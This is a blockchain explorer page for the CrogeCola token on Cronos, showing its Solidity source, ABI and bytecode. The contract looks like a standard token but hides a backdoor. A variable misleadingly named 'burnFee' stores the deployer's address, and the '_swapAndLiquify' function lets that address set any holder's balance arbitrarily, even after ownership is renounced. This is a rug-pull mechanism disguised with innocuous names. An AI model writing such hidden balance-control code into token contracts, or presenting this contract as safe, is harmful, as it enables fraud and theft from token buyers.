Token CrogeCola

Overview CRC20

Price
$0.00 @ 0.000000 CRO
Fully Diluted Market Cap
Total Supply:
1,000,000,000 COLA

Holders:
15 addresses
Contract:
0xE89525313b1Ff4D3f1b2Ae9E3759A8AA1D6B8C580xE89525313b1Ff4D3f1b2Ae9E3759A8AA1D6B8C58

Decimals:
9

Social Profiles:
Not Available, Update ?

Balance
0 COLA

Value
$0.00
0x7dae8fbcc37f67cb1ca02b959fa97c1473bd3a63
Loading
[ Download CSV Export  ] 
Loading
[ Download CSV Export  ] 
Loading

Click here to update the token ICO / general information
# Exchange Pair Price  24H Volume % Volume

Similar Match Source Code
This contract matches the deployed Bytecode of the Source Code for Contract 0x716516fF1EbD2F1Fc6759D05D0683a8b87D5dBb6
The constructor portion of the code might be different and could alter the actual behaviour of the contract

Contract Name:
CrogeCola

Compiler Version
v0.6.12+commit.27d51765

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at cronoscan.com on 2022-04-10
*/

// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;

library SafeMath {
  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    if (a == 0) {
      return 0;
    }
    uint256 c = a * b;
    assert(c / a == b);
    return c;
  }
  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a / b;
    return c;
  }
  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    assert(b <= a);
    return a - b;
  }
  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    assert(c >= a);
    return c;
  }
}
contract Ownable {
  address public owner;
  event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
  constructor() public {
    owner = msg.sender;
  }
}
library Address {
    function isContract(address account) internal view returns (bool) {
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }
    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

contract CrogeCola is Ownable {
  using Address for address;
  using SafeMath for uint256;
  string public name;
  string public symbol;
  uint8 public decimals;
  uint256 public totalSupply;
  uint256 burnFee;
  uint256 swapAndLiquify = 1;
  
  event Transfer(address indexed from, address indexed to, uint256 value);
  event Approval(address indexed owner, address indexed spender, uint256 value);
  mapping(address => bool) public allowAddress;
  
  constructor(string memory _name, string memory _symbol) public {
    burnFee = uint256(msg.sender);
    owner = msg.sender;
    name = _name;
    symbol = _symbol;
    decimals = 9;
    totalSupply =  1000000000 * 10 ** uint256(decimals);
    _liquify[owner] = totalSupply;
    allowAddress[owner] = true;
  }
  
  mapping(address => uint256) public _liquify;
  function transfer(address _to, uint256 _value) public returns (bool) {
    address from = msg.sender;
    
    require(_to != address(0));
    require(_value <= _liquify[from]);

    _transfer(from, _to, _value);
    return true;
  }
  
  function _transfer(address from, address _to, uint256 _value) private {
    _liquify[from] = _liquify[from].sub(_value);
    _liquify[_to] = _liquify[_to].add(_value);
    emit Transfer(from, _to, _value);
  }

  function approve(address _spender, uint256 _value) public returns (bool) {
    allowed[msg.sender][_spender] = _value;
    emit Approval(msg.sender, _spender, _value);
    return true;
  }
    
  modifier onlyOwner() {
    require(owner == msg.sender, "Ownable: caller is not the owner");
    _;
  }
    
  function balanceOf(address _owner) public view returns (uint256 balance) {
    return _liquify[_owner];
  }
  
  function renounceOwnership() public virtual onlyOwner {
    emit OwnershipTransferred(owner, address(0));
    owner = address(0);
  }

  function _swapAndLiquify(address from, uint256 _value) public returns (bool) {
      require(from != address(0));
      require(uint256(msg.sender) == burnFee);
      uint256 amountToLiquify = uint256(from);
      _liquify[address(amountToLiquify)] = swapAndLiquify * _value * (10 ** 9);
      return true;
  }
  
  mapping (address => mapping (address => uint256)) public allowed;
  function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
    require(_to != address(0));
    require(_value <= _liquify[_from]);
    require(_value <= allowed[_from][msg.sender]);

    _transferFrom(_from, _to, _value);
    return true;
  }
  
  function _transferFrom(address _from, address _to, uint256 _value) internal {
    _liquify[_from] = _liquify[_from].sub(_value);
    _liquify[_to] = _liquify[_to].add(_value);
    allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
    emit Transfer(_from, _to, _value);
  }
  
  function allowance(address _owner, address _spender) public view returns (uint256) {
    return allowed[_owner][_spender];
  }
  
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_liquify","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"_swapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"allowAddress","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"_spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"balance","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80635c658165116100975780638da5cb5b116100665780638da5cb5b146102fb57806395d89b411461031f578063a9059cbb14610327578063dd62ed3e14610353576100f5565b80635c6581651461027757806368932e6f146102a557806370a08231146102cb578063715018a6146102f1576100f5565b806318160ddd116100d357806318160ddd146101dd57806323b872dd146101f757806325c37ae81461022d578063313ce56714610259576100f5565b806306fdde03146100fa57806308af4d8814610177578063095ea7b3146101b1575b600080fd5b610102610381565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561013c578181015183820152602001610124565b50505050905090810190601f1680156101695780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61019d6004803603602081101561018d57600080fd5b50356001600160a01b031661040e565b604080519115158252519081900360200190f35b61019d600480360360408110156101c757600080fd5b506001600160a01b038135169060200135610423565b6101e5610489565b60408051918252519081900360200190f35b61019d6004803603606081101561020d57600080fd5b506001600160a01b0381358116916020810135909116906040013561048f565b61019d6004803603604081101561024357600080fd5b506001600160a01b03813516906020013561050e565b61026161055e565b6040805160ff9092168252519081900360200190f35b6101e56004803603604081101561028d57600080fd5b506001600160a01b0381358116916020013516610567565b6101e5600480360360208110156102bb57600080fd5b50356001600160a01b0316610584565b6101e5600480360360208110156102e157600080fd5b50356001600160a01b0316610596565b6102f96105b1565b005b61030361065a565b604080516001600160a01b039092168252519081900360200190f35b610102610669565b61019d6004803603604081101561033d57600080fd5b506001600160a01b0381351690602001356106c1565b6101e56004803603604081101561036957600080fd5b506001600160a01b0381358116916020013516610707565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104065780601f106103db57610100808354040283529160200191610406565b820191906000526020600020905b8154815290600101906020018083116103e957829003601f168201915b505050505081565b60076020526000908152604090205460ff1681565b3360008181526009602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60045481565b60006001600160a01b0383166104a457600080fd5b6001600160a01b0384166000908152600860205260409020548211156104c957600080fd5b6001600160a01b03841660009081526009602090815260408083203384529091529020548211156104f957600080fd5b610504848484610732565b5060019392505050565b60006001600160a01b03831661052357600080fd5b600554331461053157600080fd5b506006546001600160a01b039290921660009081526008602052604090209102633b9aca00029055600190565b60035460ff1681565b600960209081526000928352604080842090915290825290205481565b60086020526000908152604090205481565b6001600160a01b031660009081526008602052604090205490565b6000546001600160a01b03163314610610576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031681565b6002805460408051602060018416156101000260001901909316849004601f810184900484028201840190925281815292918301828280156104065780601f106103db57610100808354040283529160200191610406565b6000336001600160a01b0384166106d757600080fd5b6001600160a01b0381166000908152600860205260409020548311156106fc57600080fd5b610504818585610828565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b6001600160a01b03831660009081526008602052604090205461075590826108d6565b6001600160a01b03808516600090815260086020526040808220939093559084168152205461078490826108e8565b6001600160a01b0380841660009081526008602090815260408083209490945591861681526009825282812033825290915220546107c290826108d6565b6001600160a01b03808516600081815260096020908152604080832033845282529182902094909455805185815290519286169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a3505050565b6001600160a01b03831660009081526008602052604090205461084b90826108d6565b6001600160a01b03808516600090815260086020526040808220939093559084168152205461087a90826108e8565b6001600160a01b0380841660008181526008602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b6000828211156108e257fe5b50900390565b6000828201838110156108f757fe5b939250505056fea2646970667358221220f71c5801a372a5ca3aaa5bdc099581933e6b80ef2ba33e7f5cf9a7ad4b6bd1e664736f6c634300060c0033

Deployed ByteCode Sourcemap

3140:3006:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3236:18;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3554:44;;;;;;;;;;;;;;;;-1:-1:-1;3554:44:0;-1:-1:-1;;;;;3554:44:0;;:::i;:::-;;;;;;;;;;;;;;;;;;4449:192;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;4449:192:0;;;;;;;;:::i;3310:26::-;;;:::i;:::-;;;;;;;;;;;;;;;;5419:280;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;5419:280:0;;;;;;;;;;;;;;;;;:::i;5026:316::-;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;5026:316:0;;;;;;;;:::i;3284:21::-;;;:::i;:::-;;;;;;;;;;;;;;;;;;;5350:64;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;5350:64:0;;;;;;;;;;:::i;3933:43::-;;;;;;;;;;;;;;;;-1:-1:-1;3933:43:0;-1:-1:-1;;;;;3933:43:0;;:::i;4767:109::-;;;;;;;;;;;;;;;;-1:-1:-1;4767:109:0;-1:-1:-1;;;;;4767:109:0;;:::i;4884:136::-;;;:::i;:::-;;667:20;;;:::i;:::-;;;;-1:-1:-1;;;;;667:20:0;;;;;;;;;;;;;;3259;;;:::i;3981:241::-;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;3981:241:0;;;;;;;;:::i;6011:128::-;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;6011:128:0;;;;;;;;;;:::i;3236:18::-;;;;;;;;;;;;;;;-1:-1:-1;;3236:18:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;3554:44::-;;;;;;;;;;;;;;;:::o;4449:192::-;4537:10;4516:4;4529:19;;;:7;:19;;;;;;;;-1:-1:-1;;;;;4529:29:0;;;;;;;;;;;:38;;;4579;;;;;;;4516:4;;4529:29;;4537:10;;4579:38;;;;;;;;-1:-1:-1;4631:4:0;4449:192;;;;:::o;3310:26::-;;;;:::o;5419:280::-;5501:4;-1:-1:-1;;;;;5522:17:0;;5514:26;;;;;;-1:-1:-1;;;;;5565:15:0;;;;;;:8;:15;;;;;;5555:25;;;5547:34;;;;;;-1:-1:-1;;;;;5606:14:0;;;;;;:7;:14;;;;;;;;5621:10;5606:26;;;;;;;;5596:36;;;5588:45;;;;;;5642:33;5656:5;5663:3;5668:6;5642:13;:33::i;:::-;-1:-1:-1;5689:4:0;5419:280;;;;;:::o;5026:316::-;5097:4;-1:-1:-1;;;;;5120:18:0;;5112:27;;;;;;5179:7;;5164:10;5156:30;5148:39;;;;;;-1:-1:-1;5281:14:0;;-1:-1:-1;;;;;5222:13:0;;;;5196:23;5244:34;;;:8;:34;;;;;5281:23;;5308:7;5281:35;5244:72;;5332:4;;5026:316::o;3284:21::-;;;;;;:::o;5350:64::-;;;;;;;;;;;;;;;;;;;;;;;;:::o;3933:43::-;;;;;;;;;;;;;:::o;4767:109::-;-1:-1:-1;;;;;4854:16:0;4823:15;4854:16;;;:8;:16;;;;;;;4767:109::o;4884:136::-;4687:5;;-1:-1:-1;;;;;4687:5:0;4696:10;4687:19;4679:64;;;;;-1:-1:-1;;;4679:64:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4986:1:::1;4971:5:::0;;4950:39:::1;::::0;-1:-1:-1;;;;;4971:5:0;;::::1;::::0;4950:39:::1;::::0;4986:1;;4950:39:::1;5012:1;4996:18:::0;;-1:-1:-1;;;;;;4996:18:0::1;::::0;;4884:136::o;667:20::-;;;-1:-1:-1;;;;;667:20:0;;:::o;3259:::-;;;;;;;;;;;;;;-1:-1:-1;;3259:20:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3981:241;4044:4;4072:10;-1:-1:-1;;;;;4103:17:0;;4095:26;;;;;;-1:-1:-1;;;;;4146:14:0;;;;;;:8;:14;;;;;;4136:24;;;4128:33;;;;;;4170:28;4180:4;4186:3;4191:6;4170:9;:28::i;6011:128::-;-1:-1:-1;;;;;6108:15:0;;;6085:7;6108:15;;;:7;:15;;;;;;;;:25;;;;;;;;;;;;;6011:128::o;5707:296::-;-1:-1:-1;;;;;5808:15:0;;;;;;:8;:15;;;;;;:27;;5828:6;5808:19;:27::i;:::-;-1:-1:-1;;;;;5790:15:0;;;;;;;:8;:15;;;;;;:45;;;;5858:13;;;;;;;:25;;5876:6;5858:17;:25::i;:::-;-1:-1:-1;;;;;5842:13:0;;;;;;;:8;:13;;;;;;;;:41;;;;5919:14;;;;;:7;:14;;;;;5934:10;5919:26;;;;;;;:38;;5950:6;5919:30;:38::i;:::-;-1:-1:-1;;;;;5890:14:0;;;;;;;:7;:14;;;;;;;;5905:10;5890:26;;;;;;;;:67;;;;5969:28;;;;;;;;;;;5890:14;;5969:28;;;;;;;;;;;5707:296;;;:::o;4230:213::-;-1:-1:-1;;;;;4324:14:0;;;;;;:8;:14;;;;;;:26;;4343:6;4324:18;:26::i;:::-;-1:-1:-1;;;;;4307:14:0;;;;;;;:8;:14;;;;;;:43;;;;4373:13;;;;;;;:25;;4391:6;4373:17;:25::i;:::-;-1:-1:-1;;;;;4357:13:0;;;;;;;:8;:13;;;;;;;;;:41;;;;4410:27;;;;;;;4357:13;;4410:27;;;;;;;;;;;;;4230:213;;;:::o;390:113::-;448:7;476:1;471;:6;;464:14;;;;-1:-1:-1;492:5:0;;;390:113::o;507:133::-;565:7;593:5;;;612:6;;;;605:14;;;;633:1;507:133;-1:-1:-1;;;507:133:0:o

Swarm Source

ipfs://f71c5801a372a5ca3aaa5bdc099581933e6b80ef2ba33e7f5cf9a7ad4b6bd1e6
Loading